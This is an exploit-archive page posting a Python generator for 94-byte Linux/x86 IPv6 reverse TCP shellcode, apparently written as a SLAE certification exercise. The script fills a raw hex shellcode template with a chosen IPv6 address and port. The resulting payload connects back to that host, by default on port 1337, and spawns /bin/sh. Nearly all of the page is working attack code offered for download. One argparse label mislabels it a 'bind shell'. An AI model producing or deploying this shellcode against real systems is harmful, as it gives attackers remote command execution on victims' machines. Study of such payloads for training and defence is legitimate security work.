what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Linux/x86 IPv6 Reverse TCP Shellcode Generator

Linux/x86 IPv6 Reverse TCP Shellcode Generator
Posted Aug 31, 2018
Authored by Kevin Kirsche

94 bytes small Linux/x86 IPv6 reverse TCP shellcode generator.

tags | x86, tcp, shellcode
systems | linux
SHA-256 | 19c18df6627b0d5e7454970d52a558a951240ecf2e47780d7a2009bff36d44a7

Linux/x86 IPv6 Reverse TCP Shellcode Generator

Change Mirror Download
#!/usr/bin/env python3
# Exploit Title: Linux x86 IPv6 Reverse TCP Shellcode Generator (94 bytes)
# Date: 2018-08-26
# Shellcode Author: Kevin Kirsche
# Shellcode Repository: https://github.com/kkirsche/SLAE/tree/master/assignment_2-reverse_shell
# Tested on: Shell on Ubuntu 18.04 with gcc 7.3.0 / Connecting to Kali 2018.2

# This shellcode will connect to fd15:4ba5:5a2b:1002:61b7:23a9:ad3d:5509 on port 1337 and give you /bin/sh

#This shellcode has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
#http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
#Student ID: SLAE-1134

from argparse import ArgumentParser
from ipaddress import ip_address
import sys

sc = ("\\x31\\xdb\\x53\\x43\\x53\\x6a\\x0a\\x89\\xe1\\x6a\\x66\\x58\\xcd\\x80"
"\\x96\\x99\\x52\\x68{ipv6_fourth_octet}\\x68{ipv6_third_octet}\\x68"
"{ipv6_second_octet}\\x68{ipv6_first_octet}\\x52\\x66\\x68{port}"
"\\x66\\x6a\\x0a\\x89\\xe1\\x6a\\x1c\\x51\\x56\\x89\\xe1\\x43\\x43\\x6a"
"\\x66\\x58\\xcd\\x80\\x87\\xde\\x29\\xc9\\xb1\\x02\\xb0\\x3f\\xcd\\x80"
"\\x49\\x79\\xf9\\x31\\xd2\\x52\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62"
"\\x69\\x6e\\x89\\xd1\\x89\\xe3\\xb0\\x0b\\xcd\\x80")

if __name__ == '__main__':
parser = ArgumentParser(description=("Dual Network Stack Bind Shell "
"Generator"))
parser.add_argument('ip_address', type=str, nargs='?', default='fd15:4ba5:5a2b:1002:61b7:23a9:ad3d:5509',
help='The IP address to connect to (default fd15:4ba5:5a2b:1002:61b7:23a9:ad3d:5509)')
parser.add_argument('port', type=int, nargs='?', default=1337,
help='The port to connect to (default 1337)')
args = parser.parse_args()

ip = ip_address(args.ip_address)
ip_hex = ip.exploded

if args.port < 1 or args.port > 65535:
print('Invalid port. Please select a port between 1 and 65535')
sys.exit(1)

port = format(args.port, '04x')
port = "\\x{b}\\x{a}".format(
a=port[2:4],
b=port[0:2])

split_hex_ip = ip_hex.split(':')
ipv6_fourth_octet = '\\x{d}\\x{c}\\x{b}\\x{a}'.format(
d=split_hex_ip[6][0:2],
c=split_hex_ip[6][2:4],
b=split_hex_ip[7][0:2],
a=split_hex_ip[7][2:4])
ipv6_third_octet = '\\x{d}\\x{c}\\x{b}\\x{a}'.format(
d=split_hex_ip[4][0:2],
c=split_hex_ip[4][2:4],
b=split_hex_ip[5][0:2],
a=split_hex_ip[5][2:4])
ipv6_second_octet = '\\x{d}\\x{c}\\x{b}\\x{a}'.format(
d=split_hex_ip[2][0:2],
c=split_hex_ip[2][2:4],
b=split_hex_ip[3][0:2],
a=split_hex_ip[3][2:4])
ipv6_first_octet = '\\x{d}\\x{c}\\x{b}\\x{a}'.format(
d=split_hex_ip[0][0:2],
c=split_hex_ip[0][2:4],
b=split_hex_ip[1][0:2],
a=split_hex_ip[1][2:4])

if '\\x00' in port:
print('[!] Warning: The port you chose contains a null value.')
if (('\\x00' in ipv6_fourth_octet) or ('\\x00' in ipv6_third_octet) or
('\\x00' in ipv6_second_octet) or ('\\x00' in ipv6_first_octet)):
print('[!] Warning: The IP address you chose contains a null value.')

print('Shellcode:')
print(sc.format(
ipv6_first_octet=str(ipv6_first_octet),
ipv6_second_octet=str(ipv6_second_octet),
ipv6_third_octet=str(ipv6_third_octet),
ipv6_fourth_octet=str(ipv6_fourth_octet),
port=str(port)))


Login or Register to add favorites

File Archive:

October 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    39 Files
  • 2
    Oct 2nd
    23 Files
  • 3
    Oct 3rd
    18 Files
  • 4
    Oct 4th
    20 Files
  • 5
    Oct 5th
    0 Files
  • 6
    Oct 6th
    0 Files
  • 7
    Oct 7th
    17 Files
  • 8
    Oct 8th
    0 Files
  • 9
    Oct 9th
    0 Files
  • 10
    Oct 10th
    0 Files
  • 11
    Oct 11th
    0 Files
  • 12
    Oct 12th
    0 Files
  • 13
    Oct 13th
    0 Files
  • 14
    Oct 14th
    0 Files
  • 15
    Oct 15th
    0 Files
  • 16
    Oct 16th
    0 Files
  • 17
    Oct 17th
    0 Files
  • 18
    Oct 18th
    0 Files
  • 19
    Oct 19th
    0 Files
  • 20
    Oct 20th
    0 Files
  • 21
    Oct 21st
    0 Files
  • 22
    Oct 22nd
    0 Files
  • 23
    Oct 23rd
    0 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close